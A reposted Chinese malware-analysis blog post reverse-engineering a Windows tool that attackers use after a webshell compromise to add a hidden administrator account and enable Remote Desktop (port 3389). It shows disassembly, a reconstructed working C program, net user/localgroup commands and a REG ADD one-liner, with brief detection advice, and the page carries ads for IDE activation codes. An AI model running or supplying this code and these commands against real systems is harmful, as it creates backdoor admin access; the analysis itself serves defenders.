【病毒取样】取证分析之逆向服务器提权开启3389远程连接工具[通俗易懂]

【病毒取样】取证分析之逆向服务器提权开启3389远程连接工具[通俗易懂]通常用作黑客攻击网站拿到服务器Webshell提升站点服务器权限后,对站点和数据库服务器两台服务器分离的情况,延申权限到数据库服务器。开启数据库服务器的3389远程连接。1、程序信息MD5值:58946C2FE49563591EBE0D61F457DE0A大小:178KB(182,526字节)病毒家族名:Virus.Win32.Parite.a分析黑客小工具是怎么实现的,…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

通常用作黑客攻击网站拿到服务器Webshell提升站点服务器权限后,对站点和数据库服务器两台服务器分离的情况,延申权限到数据库服务器。开启数据库服务器的3389远程连接。

1、程序信息

MD5值:58946C2FE49563591EBE0D61F457DE0A

大小:178 KB (182,526 字节)

病毒家族名:Virus.Win32.Parite.a

分析黑客小工具是怎么实现的,分析行为提取特征。

2、大体实现行为

2.1、修改注册表键值

549050-20181010211849012-1424175899.png

作用是开启3389端口

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections

type:0x00000004
datalen:4
data:
00000000: 00 00 00 00                                     ; 

2.2、创建用户

549050-20181010211857925-364699599.png

添加用户

"net user admin admin123 /add"
"net localgroup administrators admin /add"

3、逆向代码

3.1、搜集信息

1)查壳

549050-20181010212309958-2037382824.png

2)导入表信息

逆向这类几百KB的程序是很轻松的,通常病毒文件并不大。单步调试也没有几次就跟踪到Main()函数了。

549050-20181010212207914-345547524.png

  • RegCreateKeyEx :该函数用来创建注册表键,如果该键已经存在,则打开它(注册表键不区分大小写)
  • RegSetValueEx:有名称值的数据和类型时设置指定值的数据和类型。

  • RegSetCloseKey:关闭注册表句柄
  • LoadlibraryA:将指定的模块加载到调用进程的地址空间中。
  • GetProcaddress:检索指定的动态链接库(DLL)中的输出库函数地址。
  • waitforsingleObject:当等待仍在挂起状态时,句柄被关闭。
  • CreateProcess:创建一个新的进程和它的主线程。

3.2、单步调试

不知道是加了什么壳,XOR循环解密后续的汇编代码。

00404000  68 7C3D4700     push 0x473D7C
00404005  58              pop eax                                  ; 3389.00401018
00404006  68 18404000     push 3389.00404018
0040400B  5A              pop edx                                  ; 3389.00401018
0040400C  68 C4060000     push 0x6C4
00404011  5E              pop esi                                  ; 3389.00401018
00404012  310432          xor dword ptr ds:[edx+esi],eax           ; XOR解密后续代码
00404015  83EE 04         sub esi,0x4
00404018  75 F8           jnz short 3389.00404012
0040401A  90              nop
0040401B  90              nop
0040401C  E8 7D010000     call 3389.0040419E                       ;吐出来的代码
00404021  0000            add byte ptr ds:[eax],al
00404023  0000            add byte ptr ds:[eax],al
00404025  0040 00         add byte ptr ds:[eax],al
00404028  0010            add byte ptr ds:[eax],dl
0040402A  0000            add byte ptr ds:[eax],al
0040402C  0012            add byte ptr ds:[edx],dl
0040402E  0000            add byte ptr ds:[eax],al
00404030  fe              db fe
00404031  1800            sbb byte ptr ds:[eax],al

跳过加载程序的的流程。新建账户、注册表修改流程都在一个函数中。看出来作者已经讲函数封装好,只需要传值进去实现相对应的功能。

00401026  /$  55            push ebp                     ;  主要功能实现函数
00401027  |.  8BEC          mov ebp,esp
00401029  |.  68 01030080   push 0x80000301
0040102E  |.  6A 00         push 0x0
00401030  |.  68 01000000   push 0x1
00401035  |.  68 02000080   push 0x80000002
0040103A  |.  6A 00         push 0x0
0040103C  |.  68 01000000   push 0x1
00401041  |.  68 04000080   push 0x80000004
00401046  |.  6A 00         push 0x0
00401048  |.  68 00324000   push 3389.00403200           ;  net user admin admin123 /add
0040104D  |.  68 03000000   push 0x3
00401052  |.  BB C0020000   mov ebx,0x2C0
00401057  |.  E8 24020000   call 3389.00401280
0040105C  |.  83C4 28       add esp,0x28
0040105F  |.  68 01030080   push 0x80000301
00401064  |.  6A 00         push 0x0
00401066  |.  68 01000000   push 0x1
0040106B  |.  68 02000080   push 0x80000002
00401070  |.  6A 00         push 0x0
00401072  |.  68 01000000   push 0x1
00401077  |.  68 04000080   push 0x80000004
0040107C  |.  6A 00         push 0x0
0040107E  |.  68 1D324000   push 3389.0040321D           ;  net localgroup administrators admin /add
00401083  |.  68 03000000   push 0x3
00401088  |.  BB C0020000   mov ebx,0x2C0
0040108D  |.  E8 EE010000   call 3389.00401280
00401092  |.  83C4 28       add esp,0x28
00401095  |.  68 01030080   push 0x80000301
0040109A  |.  6A 00         push 0x0
0040109C  |.  68 00000000   push 0x0
004010A1  |.  68 04000080   push 0x80000004
004010A6  |.  6A 00         push 0x0
004010A8  |.  68 46324000   push 3389.00403246                       ;  SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections
004010AD  |.  68 01030080   push 0x80000301
004010B2  |.  6A 00         push 0x0
004010B4  |.  68 04000000   push 0x4
004010B9  |.  68 03000000   push 0x3
004010BE  |.  BB A4060000   mov ebx,0x6A4
004010C3  |.  E8 A8020000   call 3389.00401370
004010C8  |.  83C4 28       add esp,0x28
004010CB  |.  6A 00         push 0x0
004010CD  |.  E8 37000000   call 3389.00401109
004010D2  |.  83C4 04       add esp,0x4
004010D5  |.  8BE5          mov esp,ebp
004010D7  |.  5D            pop ebp                      ;  3389.00401018
004010D8  \.  C3            retn

建立用户和建立用户组都是封装了同一个函数call 00401280,使用CreateProcess函数执行了增加用户、添加用户到管理组的命令。

549050-20181010225943968-1014871536.png

修改注册表,使用RegSetValueEx修改了HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections的值为0

549050-20181010224838130-793871127.png

3.3、还原C代码

VC6+Win7(x86)

// open3389.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>



BOOL excute(LPSTR lpCommandLine)
{

    PROCESS_INFORMATION ProcessInfo;
    
    STARTUPINFO StartupInfo; //This is an [in] parameter

    // ***********************
    // pipe
    // ***********************
    HANDLE hStdInput, hStdOutput;
    SECURITY_ATTRIBUTES SecAttr;
    SecAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    SecAttr.bInheritHandle = TRUE; 
    SecAttr.lpSecurityDescriptor = NULL; 

    BOOL ret = CreatePipe(&hStdInput, &hStdOutput, &SecAttr, 0);

    
    ZeroMemory(&StartupInfo, sizeof(StartupInfo));
    StartupInfo.cb = sizeof(StartupInfo);
    StartupInfo.hStdOutput = hStdOutput;
    StartupInfo.hStdError = 0;
    StartupInfo.wShowWindow = SW_HIDE;                                  //hide
    StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;  // hide
 

    BOOL bret = CreateProcessA(0, lpCommandLine, 0, 0, NORMAL_PRIORITY_CLASS, 0, 0, 0, &StartupInfo, &ProcessInfo);
    if(bret)
    {
           WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
           CloseHandle(ProcessInfo.hThread);
           CloseHandle(ProcessInfo.hProcess);
    
    }
   return bret;
}


BOOL reg_set(HKEY hKey, LPSTR lpSubKey, LPSTR lpValueName)
{
    HKEY phkResult = NULL;
    DWORD dwValue = 0;
    RegCreateKeyEx(hKey, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
    RegSetValueEx(hKey, lpValueName, 0, REG_DWORD,  (CONST BYTE*)&dwValue, sizeof(DWORD));
    RegCloseKey(hKey);

    return true;
}


int main()
{
    excute("net user admin admin@123 /add");
    excute("net localgroup administrators admin /add");
    reg_set(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server","fDenyTSConnections");

    return 0;
}

命令行实现

开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
 
查端口

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

4、防御

  • 1)特征码扫描
  • 2)监控net、net1运行

转载于:https://www.cnblogs.com/17bdw/p/9767352.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161414.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • opencv3编程入门_java基础与入门教程

    opencv3编程入门_java基础与入门教程——韦访 201810111、概述想学习图像处理,不管是机器学习也好,深度学习也好,不会点OpenCV好像有点说不过去吧?所以,现在开始OpenCV的学习。2、读写图片先从图片的读写开始,opencv读取图片的函数是imread,默认情况下,imread函数返回BGR格式的图像,可以用imwrite函数将数据写到本地。下面的代码会将JPG图片转成PNG。import…

    2022年10月3日
    0
  • apache 虚拟主机如何配置[通俗易懂]

    apache 虚拟主机如何配置[通俗易懂]apache虚拟主机如何配置?相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。apache虚拟主机就是在apache服务器上配置多个虚拟主机,从而让一个服务器提供多站点的服务实现。通俗来说,就是对同一个服务器上的不同目录进行访问。Apache基于名字的虚拟主机设置这种方式,各个虚拟主机共享同一份Apache,因此有CGI程序运行时,安全性也不高。设置这种虚拟主机时,只要为每一个虚拟主机设置类似如下的信息即可,NameV…

    2022年9月2日
    2
  • 《提问的智慧》

    《提问的智慧》https://www.jianshu.com/p/1b4ac73d4966

    2022年7月26日
    7
  • 分页式虚拟存储管理_c语言申请内存空间

    分页式虚拟存储管理_c语言申请内存空间C语言模拟实现虚拟存储管理(请求分页存储管理)使用FIFO算法一、实验目的存储管理的主要功能之一是合理的分配空间。请求分页存储管理是一种常用的虚拟存储管理技术。本实验的目的是:通过编程模拟实现请求分页存储管理中硬件地址转换过程、缺页中断处理过程,以及先进先出页面置换算法,加深对页式虚拟存储管理的理解,了解虚拟存储技术的特点,掌握请求页式存储管理的页面置换方法;通过编写和调试地址转换过程的模拟程序以加强对地址转换过程的了解。二、实验内容阅读教材《计算机操作系统》第四章,掌握存储器管理相关概念和原理。

    2022年9月26日
    0
  • ASP.NET DropDownList1_SelectedIndexChanged使用

    ASP.NET DropDownList1_SelectedIndexChanged使用DropDownList1.AutoPostBack属性今天写代码给DropDownList1添加DropDownList1_SelectedIndexChanged事件,在运行测试时发现DropDownList1的index发生改变后DropDownList1_SelectedIndexChanged没有执行,查了一下DropDownList1的属性才知道AutoPostBack要设置…

    2022年7月18日
    11
  • html分页样式居中,bootstrap分页样式怎么实现?

    html分页样式居中,bootstrap分页样式怎么实现?bootstrap分页样式怎么实现?下面本篇文章给大家介绍一下bootstrap分页的实现。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。任何一个网页里面,我们都可以看到分页,不管是移动端,还是pc端,不管是下拉到下一页,还是按钮下一页,都需要分页支撑你的网站。这样首先,可以提高你的网站的访问效率;另外页面展现也更加好看,要不然,上百万的上千万的数据;显示估计一两个小时也显示不出…

    2022年7月17日
    10

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号